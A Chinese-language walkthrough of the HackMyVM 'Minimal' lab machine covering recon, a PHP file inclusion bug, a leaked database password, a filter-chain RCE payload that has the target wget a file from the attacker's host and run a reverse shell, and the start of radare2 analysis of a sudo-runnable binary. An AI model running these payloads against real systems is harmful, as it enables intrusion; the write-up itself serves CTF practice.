目录
信息收集
arp
nmap
nikto
whatweb
WEB
web信息收集
gobuster
文件包含漏洞
提权
web信息收集
main方法
question_1
question_2
question_3
prize.txt
软连接
信息收集
arp
┌──(root?0x00)-[~/HackMyVM]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 08:00:27:9d:6d:7b, IPv4: 192.168.9.183
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.9.205 08:00:27:5a:4c:d4 PCS Systemtechnik GmbH
13 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.259 seconds (113.32 hosts/sec). 13 responded
nmap
端口扫描
┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -p- 192.168.9.205 --min-rate 10000 -oA ports
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 08:12 CST
Nmap scan report for 192.168.9.205
Host is up (0.0017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:5A:4C:D4 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 128.28 seconds
版本信息收集
┌──(root㉿0x00)-[~/HackMyVM]
└─# nmap -sC -sV -O -A -p 22,80 192.168.9.205 --min-rate 10000
Starting Nmap 7.94 ( https://nmap.org ) at 2024-05-11 08:15 CST
Nmap scan report for 192.168.9.205
Host is up (0.0020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 d2:73:06:e2:e4:84:54:8c:42:0f:4e:81:7c:78:b9:c2 (ECDSA)
|_ 256 75:a0:cf:35:61:a1:c8:77:cf:1a:cb:bc:6d:5b:49:75 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Minimal Shop
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 08:00:27:5A:4C:D4 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.04 ms 192.168.9.205
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.68 seconds
nikto
┌──(root㉿0x00)-[~/HackMyVM]
└─# nikto -h 192.168.9.205
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP: 192.168.9.205
+ Target Hostname: 192.168.9.205
+ Target Port: 80
+ Start Time: 2024-05-11 08:13:06 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /config.php: PHP Config file may contain database IDs and passwords.
+ /imgs/: Directory indexing found.
+ /imgs/: This might be interesting.
+ /styles/: Directory indexing found.
+ /login.php: Admin login page/section found.
+ 8102 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time: 2024-05-11 08:15:31 (GMT8) (145 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
whatweb
┌──(root㉿0x00)-[~/HackMyVM]
└─# whatweb -v http://192.168.9.205
WhatWeb report for http://192.168.9.205
Status : 200 OK
Title : Minimal Shop
IP : 192.168.9.205
Country : RESERVED, ZZ
Summary : Apache[2.4.52], Cookies[PHPSESSID], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.52 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ Cookies ]
Display the names of cookies in the HTTP headers. The
values are not returned to save on space.
String : PHPSESSID
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.52 (Ubuntu) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Sat, 11 May 2024 00:13:36 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=4glm3feckavkrh5qajsa0regno; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 1209
Connection: close
Content-Type: text/html; charset=UTF-8
WEB
web信息收集
主页是一个购物网站！
从源码中可以看到有一个登录后台的!
我们随便注册一个用户，登陆即可！
可以加入购物车！加入几个！
点击 Buy items 尝试购买！
乱填的，点击 End purchase时发现只是把购物车清空而已！
我们先尝试目录扫描吧!
gobuster
┌──(root?0x00)-[~/HackMyVM]
└─# gobuster dir -u http://192.168.9.205 -x php,txt,html -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.9.205
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 6297]
/login.php (Status: 200) [Size: 1019]
/register.php (Status: 200) [Size: 1097]
/admin.php (Status: 302) [Size: 0] [--> login.php]
/buy.php (Status: 200) [Size: 892]
/imgs (Status: 301) [Size: 313] [--> http://192.168.9.205/imgs/]
/logout.php (Status: 302) [Size: 0] [--> /index.php]
/config.php (Status: 200) [Size: 0]
/styles (Status: 301) [Size: 315] [--> http://192.168.9.205/styles/]
/robots.txt (Status: 200) [Size: 12]
/restricted.php (Status: 302) [Size: 0] [--> ../index.php]
扫描出来的信息都是没啥用的信息！
没办法，重新找思路！
大概找了几分钟，我发现了漏洞！
一开始没注意到了！
文件包含漏洞
注意看此处的url！
可以确定了！文件包含漏洞！目录扫描中扫到了config.php,但是利用文件包含的时候加上php会报错，不加反而可以出来！
base64解码后的 config.php内容
<?php
$servername = "localhost";
$username = "shop_admin";
$password = "Hey-Pls-Dont-Crack-This-Passwd";
$dbname = "shop";
$conn = new mysqli($servername, $username, $password, $dbname);
// Verificar la conexión
if ($conn->connect_error) {
die("Error" . $conn->connect_error);
}
// Configurar el juego de caracteres
$conn->set_charset("utf8");
?>
可以看到用户名和密码
$username = "shop_admin";
$password = "Hey-Pls-Dont-Crack-This-Passwd";
不过没啥用，ssh登录不上，网站后台也登陆不上!尝试读取别的文件！
# index.php
<?php
require_once "./config.php";
session_start();
// Get products
$query = $conn->prepare("SELECT * FROM products");
$query->execute();
$products = $query->get_result();
$logged = false;
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
$logged = true;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if(isset($_POST["product_id"])){
$_SESSION['cart'][] = $_POST["product_id"];
}
}
?>
<html lang="es">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="./styles/main.css">
<title>Minimal Shop</title>
</head>
<body>
<header>
<div class="logo">
<a href="./index.php">
<h1>Minimal</h1>
</a>
</div>
</div>
<div class="boton-iniciar-sesion">
<?php
if ($logged) {
echo '<a href="shop_cart.php">My cart</a>';
echo '<a href="logout.php">Sign out</a>';
} else {
echo '<a href="login.php">Log In</a>';
}
?>
</div>
</header>
<main>
<?php
while ($fila = mysqli_fetch_assoc($products)) {
$id = $fila['id'];
$name = $fila['name'];
$price = $fila['price'];
$description = $fila['description'];
$author = $fila['author'];
echo '<form action="index.php" method="post">
<div class="contenedor-producto">
<div class="imagen-producto">
<img src="./imgs/' . $name . '.png" alt="Producto '.$id.'">
</div>
<div class="informacion-producto">
<h2>' . $name . '</h2>
<div class="descripcion">
<p>Designer: ' . $author . '</p>
<p>' . $description . '</p>
<p>Price: $' . $price . '</p>
</div>';
if ($logged) {
if (in_array($id, $_SESSION['cart'])) {
echo '<p class="buy logtobuy">Added to cart</p>';
}
echo '<button class="buy button" type="submit" value="'. $id .'" name="product_id" >Buy</button>';
} else {
echo '<p class="buy logtobuy">Log In to buy</p>';
}
echo '
</div>
</div>
</form>
';
};
?>
</main>
</body>
</html>
# admin.php
<?php
require_once "./config.php";
session_start();
if ($_SESSION['username'] !== 'admin') {
header('Location: login.php');
exit;
}
$logged = false;
if (isset($_SESSION['loggedin']) && $_SESSION['loggedin'] === true) {
$logged = true;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$nombre = $_POST['nombre'];
$autor = $_POST['autor'];
$precio = $_POST['precio'];
$descripcion = $_POST['descripcion'];
if (isset($_FILES['imagen'])) {
$imagen = $_FILES['imagen'];
if ($imagen['error'] === UPLOAD_ERR_OK) {
$ruta_destino = './imgs/' . basename($imagen['name']);
if (move_uploaded_file($imagen['tmp_name'], $ruta_destino)) {
$query = $conn->prepare("INSERT INTO products (name, author, price, description) VALUES (?, ?, ?, ?)");
$query->bind_param("ssds", $nombre, $autor, $precio, $descripcion);
// Ejecutar la consulta
if ($query->execute()) {
echo "Uploaded";
} else {
echo "Error";
}
} else {
//"Error al subir la imagen.";
echo "Error";
}
} else {
echo "Error: " . $imagen['error'];
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="./styles/main.css">
<link rel="stylesheet" href="./styles/admin.css">
<title>Minimal Shop</title>
</head>
<body>
<header>
<div class="logo">
<a href="./index.php">
<h1>Minimal</h1>
</a>
</div>
</div>
<div class="boton-iniciar-sesion">
<?php
if ($logged) {
echo '<a href="logout.php">Cerrar Sesión</a>';
echo '<a href="shop_cart.php">Mi Carrito</a>';
} else {
echo '<a href="login.php">Iniciar Sesión</a>';
}
?>
</div>
</header>
<h1>Admin Panel</h1>
<div class="container">
<h1>Add new Product</h1>
<form action="admin.php" method="post" enctype="multipart/form-data">
<label for="nombre">Name:</label>
<input type="text" name="nombre" id="nombre" required>
<label for="autor">Author:</label>
<input type="text" name="autor" id="autor" required>
<label for="precio">Price:</label>
<input type="number" name="precio" id="precio" required>
<label for="descripcion">Description:</label>
<textarea name="descripcion" id="descripcion" required></textarea>
<label for="imagen">Img:</label>
<input type="file" name="imagen" id="imagen" accept="image/*" required>
<input type="submit" value="Upload">
</form>
</div>
</body>
</html>
我参考了群主师傅的wp https://www.bilibili.com/video/BV19m411d7kE/?vd_source=a883f5a7be6909eff14d565bc161efe8
直接使用的脚本构造的payload！！
http://192.168.9.205/shop_cart.php?action=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=wget%20http://192.168.9.183:9898/cmd.php
http://192.168.9.205/shop_cart.php?action=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=php%20reverse.php
执行即可获取shell！
提权
web信息收集
从这开始，噩梦开始了！
获取交互式shell
export TERM=xterm
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@minimal:/home/white$ sudo -l
sudo -l
Matching Defaults entries for www-data on minimal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User www-data may run the following commands on minimal:
(root) NOPASSWD: /opt/quiz/shop
www-data@minimal:/home/white$
www-data@minimal:/opt/quiz$ ls
ls
prize.txt results.txt shop
www-data@minimal:/opt/quiz$ cat prize.txt
cat prize.txt
cat: prize.txt: Permission denied
www-data@minimal:/opt/quiz$ cat results.txt
cat results.txt
User: 0xH3rshel
Points: 3
prize.txt 文件不能看！
经过测试 shop 这个可执行程序存在溢出漏洞！
我们把shop文件下载本地进行逆向分析！
main方法
amd x86-64架构！
我们反编译一下！
推荐使用ida，cutter等等，我这里使用的r2用习惯了！
可以看到程序中存在 question_1、question_2、question_3等自定义函数！
[0x00401150]> afl
0x004010c0 1 11 sym.imp.puts
0x004010d0 1 11 sym.imp.fclose
0x004010e0 1 11 sym.imp.strlen
0x004010f0 1 11 sym.imp.system
0x00401100 1 11 sym.imp.printf
0x00401110 1 11 sym.imp.fgets
0x00401120 1 11 sym.imp.strcmp
0x00401130 1 11 sym.imp.fprintf
0x00401140 1 11 sym.imp.fopen
0x00401150 1 37 entry0
0x00401190 4 31 sym.deregister_tm_clones
0x004011c0 4 49 sym.register_tm_clones
0x00401200 3 32 sym.__do_global_dtors_aux
0x00401230 1 6 sym.frame_dummy
0x00401750 1 13 sym._fini
0x00401274 10 301 sym.secret_q2
0x0040147e 7 198 sym.question_2
0x00401180 1 5 sym._dl_relocate_static_pie
0x004015d5 1 10 sym.wait_what
0x0040168f 5 193 main
0x004015e2 4 173 sym.writeResults
0x004013a1 4 100 sym.secret_q3
0x00401405 4 121 sym.question_1
0x00401544 4 145 sym.question_3
0x00401236 3 62 sym.print_prize
0x00401000 3 27 sym._init
[0x00401150]>
[0x00401150]> s main
[0x0040168f]> s
0x40168f
跳到main方法的主入口！
[0x0040168f]> pdf
; DATA XREF from entry0 @ 0x401168(r)
┌ 193: int main (int argc, char **argv);
│ ; arg int argc @ rdi
│ ; arg char **argv @ rsi
│ ; var char *s @ rbp-0x8
│ ; var char *var_10h @ rbp-0x10
│ ; var uint32_t var_14h @ rbp-0x14
│ ; var int64_t var_18h @ rbp-0x18
│ ; var int64_t var_20h @ rbp-0x20
│ ; var int64_t var_24h @ rbp-0x24
│ ; var char **var_30h @ rbp-0x30
│ 0x0040168f f30f1efa endbr64
│ 0x00401693 55 push rbp
│ 0x00401694 4889e5 mov rbp, rsp
│ 0x00401697 4883ec30 sub rsp, 0x30
│ 0x0040169b 897ddc mov dword [var_24h], edi ; argc
│ 0x0040169e 488975d0 mov qword [var_30h], rsi ; argv
│ 0x004016a2 48b8726573.. movabs rax, 0x2e73746c75736572 ; 'results.'
│ 0x004016ac 488945e0 mov qword [var_20h], rax
│ 0x004016b0 c745e87478.. mov dword [var_18h], 0x747874 ; 'txt'
│ 0x004016b7 488d05320a.. lea rax, str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years. ; 0x4020f0 ; "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years."
│ 0x004016be 488945f8 mov qword [s], rax
│ 0x004016c2 488d05af0a.. lea rax, str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash ; 0x402178 ; "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash"
│ 0x004016c9 488945f0 mov qword [var_10h], rax
│ 0x004016cd 488b45f8 mov rax, qword [s]
│ 0x004016d1 4889c7 mov rdi, rax ; const char *s
│ 0x004016d4 e8e7f9ffff call sym.imp.puts ; int puts(const char *s)
│ 0x004016d9 488b45f0 mov rax, qword [var_10h]
│ 0x004016dd 4889c7 mov rdi, rax ; const char *s
│ 0x004016e0 e8dbf9ffff call sym.imp.puts ; int puts(const char *s)
